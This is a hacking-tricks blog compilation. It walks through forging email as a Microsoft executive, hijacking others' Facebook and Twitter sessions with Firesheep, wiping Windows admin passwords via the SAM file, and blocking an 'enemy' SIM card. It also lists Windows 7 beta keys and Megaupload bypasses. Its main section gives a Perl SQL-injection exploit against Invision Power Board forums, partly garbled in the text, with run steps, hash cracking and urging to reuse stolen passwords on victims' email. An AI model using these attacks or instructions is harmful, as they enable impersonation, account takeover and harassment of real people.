Computer Tips and Tricks, Hacking Tricks

Most of the email forging tutorials1 on internet will teach us how to send fake email connecting to SMTP server of the ISP or any other domain. But this is not possible since these hacks will no longer work today because SMTP of remote server will reject any attempts for unauthorized access. Also many of the websites offer you to send fake email from their sites where none of
them work. So we have to run our own SMTP server on our computer to successfully send a fake email. SMTP server is a simple software program  which can be installed on your computer in few seconds.SMTP server allows you to send fake email right from your desktop easily and effectively. This is the SMTP server i am using in my tutorial. Once you download and install the server on your comp then you are all set to send fake email successfully.

Download QK SMTP server HERE:

PART A: CONFIGURING SMTP SERVER
Once you have installed the QK SMTP server on your comp you must perform the following configuration.
1. Click on “Settings” button on the main screen,the Settings window pops up
2. On Settings window click on “Basic Parameter” tab
3. Set binding IP to “127.0.0.1?
4. Set port to “25?


PART B: SENDING FAKE EMAIL (EMAIL FORGING)
1. Click on SMTP server icon on your desktop to start your SMTP server to run(The icon is shown on the notification area of the taskbar if it is running). If it is already running then this step can be ignored
2. Goto command prompt(Start-Accessories-Command prompt)
3. Type exactly as follows
C:>telnet 127.0.0.1 25
Here 127.0.0.1 is the default IP of every computer.25 is the port number. SO you are connecting to the SMTP serverrunning on your own computer.This step is very important to send fake email.
NOTE: The IP 127.0.0.1 should not be substituted by any other IP.
Heres the snapshot of what you see after step 3. Click on it to enlarge


4. After typing the telnet command in the command prompt you get entry to the server which displays the following message. The response of a OK SMTP server is given below. Message within Green color is only explanation.


220 Welcome to QK SMTP Server 3
helo hacker (Type helo & any name followed by space)
250 Hello hacker (Server Welcomes You)
mail from:billg@microsoft.com (email ID can be anything of your choice. This is the ID from which fake emailappears to have come from)
250 billg@microsoft.com Address Okay (Server gives a positive response)
rcpt to:admin@gmail.com (Type any valid recipient email address)
250 admin@gmail.com Address Okay (Server gives a positive response)
data (type this command to start input data)
354 Please start mail input
From:Gates <billg@microsoft.com>
To:admin@gmail.com
Date:Thu Aug 5,2010 9:45 PM
Subject:Test to send fake email
You can create as many headers followed by the “:” symbol.
NOTE:HEADERS SHOULD NOT CONTAIN A LINE GAP. IF SO IT IS CONSIDERED AS BODY OF THE EMAIL. Press enter twice so that there is a line gap between the header & body data
<HERE IS YOUR DATA>End the body of email by pressing [ENTER] .(dot) [ENTER]
250 Mail queued for delivery (Sever indicates that the email is ready for sending)
quit (Type this command to quit from server)
221 Closing connection. Good bye.


Connection to host lost
(You will get the above 2 lines of message after typing “quit” command)
(Your fake email is sent to the recipient)
*****END OF EMAIL FORGING*****


-------Since it is a big trick bt it really works.........\

Njoy!!!!!!!!!!

Firesheep:Trick to Hack Facebook and Twitter Password on Wifi

Do you access your Facebook or Twitter account while you are on a public network like your college’s or office’s unsecured wifi.Then this is the time that you should think about your account security.If you think that facebook or Twitter are secured websites then it’s the time to face the reality they are not secured.Whenever you login into your facebook or twiiter account check the address bar of your browser you will see something like http://www.facebook.com/home.php? Similar is the case with twitter.They use http protocol instead of secured https protocol.But if you login into your gmail account you will notice that it uses https protocol.
So, the trick I am telling you works only on websites like facebook,twiiter,flickr but not on secured websites like Gmail.So here is Trick to Hack Facebook and Twitter Password on Wifi and also the method of protection from this hack.This trick doesnot require any programming knowlege and everyone can use this trick easily.
1.Download firesheep Firefox extension.This is a freeware extension for firefox browser.

2.  Once installed it will open a sidebar window into your firefox browser.
3.Now it will show all the people who are connected to unsecured wifi network.Once they login into your facebook or twitter account you will get a notification and with a single click you can login into their account.
This whole thing work on the technique of cookie hijacking.Once your session cookie is hacked then anybody can login into your account.These cookies can be easily caputered on unsecured wifi network.
The best way to protect yourself from such a hacking trick is to avoid using your facebook or twitter accounts on unsecured wifi networks as it is a security lapse from the websites not on your side.
Note:-This article is to inform you about how your password can be hacked and how to prevent it.This article is purely for educational purposes.

If you have downloaded Windows 7 beta version, you will probably need an activation to extend its period more than 30 days. Various tricks were published on some blogs to get activation key for free but the URL provided didn’t work out. Microsoft is giving away some Windows Activation keys to its users so read on to know how to get it.

You can get unlimited number of Windows Seven genuine activation keys from microsoft immediately after reaching the provided URL.

1. Visit Microsoft TechNet.
2. Click on Sign In link on the top right corner, and login to Microsoft TechNet with a valid Windows Live
ID. You can log in even if you’re not a TechNet subscriber.
3. Copy and paste the following URL to the address bar of the web browser tab or window used to login to Microsoft TechNet:

* 32-bit Product Key: https://www.microsoft.com/betaexperience/scripts/gcs.aspx
?Product=tn-win7-32-ww&LCID=1033
* 64-bit Product Key: https://www.microsoft.com/betaexperience/scripts/gcs.aspx?Product=tn-win7-64-ww&LCID

After several retires, it wa observed that activation keys were repeated so if you are getting server error or some any other problem getting the key, use the following keys to activate Windows 7
.

Windows 7 Beta 32-bit Product Key
6JKV2-QPB8H-RQ893-FW7TM-PBJ73
TQ32R-WFBDM-GFHD2-QGVMH-3P9GC
GG4MQ-MGK72-HVXFW-KHCRF-KW6KY
4HJRK-X6Q28-HWRFY-WDYHJ-K8HDH
QXV7B-K78W2-QGPR6-9FWH9-KGMM7

Windows 7 Beta 64-bit Product Key
7XRCQ-RPY28-YY9P8-R6HD8-84GH3
JYDV8-H8VXG-74RPT-6BJPB-X42V4
482XP-6J9WR-4JXT3-VBPP6-FQF4M
JYDV8-H8VXG-74RPT-6BJPB-X42V4
D9RHV-JG8XC-C77H2-3YF6D-RYRJ9

Administrator password can be broken by replacing sam file in system32\config by the sam file in repair folder of windows. it can be easily done on a machine with dual operating systems, simply log on to os other then the one whoes password is to be cracked the way is exactly
same as written above but if there is a single os on a machine then there is only one way i.e to use ms dos start up disk or some other boot disk and replace the sam file in config folder with the one in repair folder

note:- this method works only if hard drive is FAT32 formatted because NTFS drive does’nt take boot from Ms DOS

This way you can remove the old administratOr password as if the windows is newly installed and the password was’nt set

Here I am going to share a simple trick for block your enemy sim card,Blocking a sim card is too simple.What you have to do is just enter the below code in the desired phone

**04*3814*7529*68243#
Entering of above code will ask you to enter the PUK code.To solve this issue just call customer care and get your PUK code.
Note:Entering of invalid PUK will cause permanent blocking of your SIM

These Megaupload tricks are particularly useful for those who receive the message "All slots assigned to your country are in use", when you try to download a file.



I'm still not completely sure if this will work all the time, but its worth a try even if it works 60% of the time. Below are four different methods you can try.

Method 1 : Go to http://upandup.freehostia.com/accelerator.html85 to easily bypass Megaupload download slots. Just as a precaution, clean your browser cache before each attempt, even though I don't think this is necessary.

Method 2 :If you can't get those country slots, you can read the post about a new version of a Firefox extension called Megaupload S.X3.286 for megaupload.

Method 3:

1. Go to the Google Translate tool. Here you'll find two sections : Translate Text and Translate a Web Page.

2. In the Translate a Web Page text box, paste your megaupload download link. Select the translation of your choice and hit the Translate button to load the megaupload file download page.If you have anything to say about this method or you have some other trick, please let me know.

Method 4 : For Firefox users:

1. Install the Firefox addon named User Agent Switcher88.

2. Once installed, go to Tools >> User Agent Switcher >> Options >> Options.The User Agents
Switcher Options window is displayed.

3. Select User Agents from the list in the leftmost part of your screen.

4. Click Add to add a new user agent and type these details in the resulting window:a. In the Description box type : MEGAUPLOADb. In the User Agent box type : Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar)

5. Click OK twice to close the two windows and finish adding the new user agent.
So how do you use it from here? Just before you download a file from Megaupload, go toTools >> User Agent Switcher >> MEGAUPLOAD.You can always set the user agent back to default after your download is complete.
.......................................................................................

Update for Firefox 2

Someone has commented the same thing can be done without using the Firefox User Agent add-on :
Type in the address bar this : about:config Then search for this key: general.useragent.extra.firefox Double click on it and add this: MEGAUPLOAD 1.0 So at the end it will look like this: Firefox/2.0 MEGAUPLOAD 1.0 Restart Firefox and now you have infinite slots
......................................................................................................

Method 5 : For Internet Explorer users:

IE users will have to edit settings in the Windows Registry.(Caution: Please ensure you backup your registry before proceeding. Read this post92 if you don't know how to backup the registry.)

1. Go to Start >> Run.Type regedit and press Enter. This will open the Registry editor.

2. IE 7 (IE 6 users can also try this ) users must navigate to the following :HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\InternetSettings\User Agent\Post Platform.

3. Other IE users must go
to:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\InternetSettings\5.0\User Agent\Post Platform.

4. Now right-click the Post Platform folder and go to New >> String Value.Type Alexa Toolbar as the name and click Ok.

Enjoy downloading...If any of the above tricks aren't working, there is one more way. I couldn't classify it as a method for downloading from megaupload. In fact, megaupload is not even in the picture in this case. Well, it is a site named DivShare. For those who aren't aware, it is much BETTER THAN Megaupload.

• Go to Start –> Run and type regedit
• Select HKEY_CURRENT_USER –> Software –> Microsoft –> Windows –> Current Version –> Internet Settings
• Increase the values (DECIMAL) from default to a higher value e.g. 10

So you've got your target. You know the forum to want to hack, but how? Let's find the user we want to hack. Typically, you'd want to hack the admin. The administrator is usually the first member, therefore his/her User ID will be "1". Find the User ID of the administrator, or person you wish to hack. For this tutorial, let's say his/her ID is "2".

Got it? Well, now we are almost all set. So far, we know the site we wish to hack, and the member we wish to hack. In this case, we are hacking the administrator of "hackingsite", which is User ID "2".

Now we need a nice exploit. I preferably, for 1.3.1 forums, use one that is in common circulation around these forums. For those who don't have it, here:

CODE

#!/usr/bin/perl -w
##################################################################
# This one actually works :) Just paste the outputted cookie into
# your request header using livehttpheaders or something and you
# will probably be logged in as that user. No need to decrypt it!
# Exploit coded by "ReMuSOMeGa & Nova" and http://remusomega.com
##################################################################

use LWP::UserAgent;

$ua = new LWP::UserAgent;
$ua->agent("Mosiac 1.0" . $ua->agent);

if (!$ARGV[0]) {$ARGV[0] = '';}
if (!$ARGV[3]) {$ARGV[3] = '';}

my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin';
my $user = $ARGV[1]; # userid to jack
my $iver = $ARGV[2]; # version 1 or 2
my $cpre = $ARGV[3]; # cookie prefix
my $dbug = $ARGV[4]; # debug?

if (!$ARGV[2])
{
print "..By ReMuSoMeGa & Nova. Usage: ipb.pl http://forums.site.org [id] [ver 1/2].\n\n";
exit;
}

my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f");

my $outputs = '';

for( $i=1; $i < j="0;" current =" $charset[$j];" sql =" (" cookie =" ('Cookie'"> $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql);
my $res = $ua->get($path, @cookie);

# If we get a valid sql request then this
# does not appear anywhere in the sources
$pattern = '';

$_ = $res->content;

if ($dbug) { print };

if ( !(/$pattern/) )
{
$outputs .= $current;
print "$current\n";
last;
}

}
if ( length($outputs) < member_id=" . $user . " pass_hash="">

What the fuck,Pretty confused, aren't you? What the fuck are you supposed to do with this shit?! I'll tell you. First of all, this is a Perl script. Copy and paste that code into Notepad.

How can you execute Perl scripts? Well, you can upload them to your CGI-BIN, or you can take my route of preference, and install Perl on your PC.

Your going to want to go and get ActivePerl. I am sure it's here somewhere in Appz.

Open the file up, and let it install. Leave everything on default. In otherwords, just keep hitting "OK".

So now you have Perl installed. Open up "My Computer", and then click on "Local Disk (C:/)". In there, you should see a folder named "Perl". Open up that folder, and within "Perl", you should see another folder named "bin". Open up "bin". Now that your in, drag and drop "ipb.pl" from your desktop, into "bin".


Alrighty. Now everything is fine, and you're ready to Pwn some FAGS ...

What your going to want to do now, is open up your command prompt. If you don't know how, please quit this site, and die.... Start - Run - CMD

Alright, so now your in your command prompt. You want to change the directory in your command prompt to your Perl/bin directory. To do this, type the following into your command prompt, and hit enter:

cd C:\Perl\bin


Good job. Your very, very close to being finished. Now that you are in the Perl/bin directory, we need to access the ipb.pl file. How do we do this? Type the following command into your command prompt:

perl ipb.pl


So, this is what we need to do. Type the following command into your command prompt:

ipb.pl http://hackingsite.com/forum 2 1

Obviously replace "http://hackingsite.com/forum" with the URL to the forum you wish to hack.

Now, this may take a minute. The exploit is gathering information, and grabbing the hash. Numbers/letters will slowly appear down the screen. Don't be alarmed, and allow the program a few minutes. Once the hash grabbing is complete, it will return a full hash, as well as User ID.

Now you have the hash. In our case, the hash is: 4114d9d3061dd2a41d2c64f4d2bb1a7f

But what can we do with this hash? To you, it just looks like a scramble of numbers and letters. What this is, is an MD5 hash. This is the person's password, encrypted using the MD5 algorthrim. I urge you to do a quick read-up on MD5 hash's before continuing reading.

Done? You understand the very basics of MD5s? Good. You're probably thinking: I just read that MD5 hashes cannot be cracked!

LOL.. Indeed, MD5s are impossible to reverse. Once a string is MD5ed, there is no way to get it back to plain-text. It is IMPOSSIBLE to decrypt an MD5 hash. But.. It is NOT impossible to CRACK an MD5 hash.

There are many places online where you can enter hashes to be cracked. Personally, I use "Cain & Able", which is a great MD5 cracker availiable at 'http://odix.it'.

You can use any method, and any crackers to crack this hash. 90% of the hashes I get, I am able to crack. Once you crack the hash, you will be given a plain-text password.

CONGRATS! You now have the victims password! You can now login to his/her account on whatever forum you were hacking. Hell, you could even try that password on his/her e-mail or MSN/AIM account. SureFire bro, fuck them up

But what if the hash is not crackable? You are merely left with a password hash. What can you do with this?

Well, you can spoof your cookie!

If you would like to learn more on spoofing cookies, use the friendly searching site they call "GOOGLE"

Good luck!

This article will help you to change your IP address within a minute. Just follow the following step and you will be thru.

1. Click on "Start" in the bottom left hand corner of screen
2. Click on "Run"
3. Type in "command" and hit ok

You should now be at an MSDOS prompt screen.

4. Type "ipconfig /release" just like that, and hit "enter"
5. Type "exit" and leave the prompt
6. Right-click on "Network Places" or "My Network Places" on your desktop.
7. Click on "properties"

You should now be on a screen with something titled "Local Area Connection", or something close to that, and, if you have a network hooked up, all of your other networks.

8. Right click on "Local Area Connection" and click "properties"
9. Double-click on the "Internet Protocol (TCP/IP)" from the list under the "General" tab
10. Click on "Use the following IP address" under the "General" tab
11. Create an IP address (It doesn't matter what it is. I just type 1 and 2 until i fill the area up).
12. Press "Tab" and it should automatically fill in the "Subnet Mask" section with default numbers.
13. Hit the "Ok" button here
14. Hit the "Ok" button again

You should now be back to the "Local Area Connection" screen.

15. Right-click back on "Local Area Connection" and go to properties again.
16. Go back to the "TCP/IP" settings
17. This time, select "Obtain an IP address automatically"
tongue.gif 18. Hit "Ok"
19. Hit "Ok" again
20. You now have a new IP address

With a little practice, you can easily get this process down to 15 seconds.

P.S:
This only changes your dynamic IP address, not your ISP/IP address. If you plan on hacking a website with this trick be extremely careful, because if they try a little, they can trace it back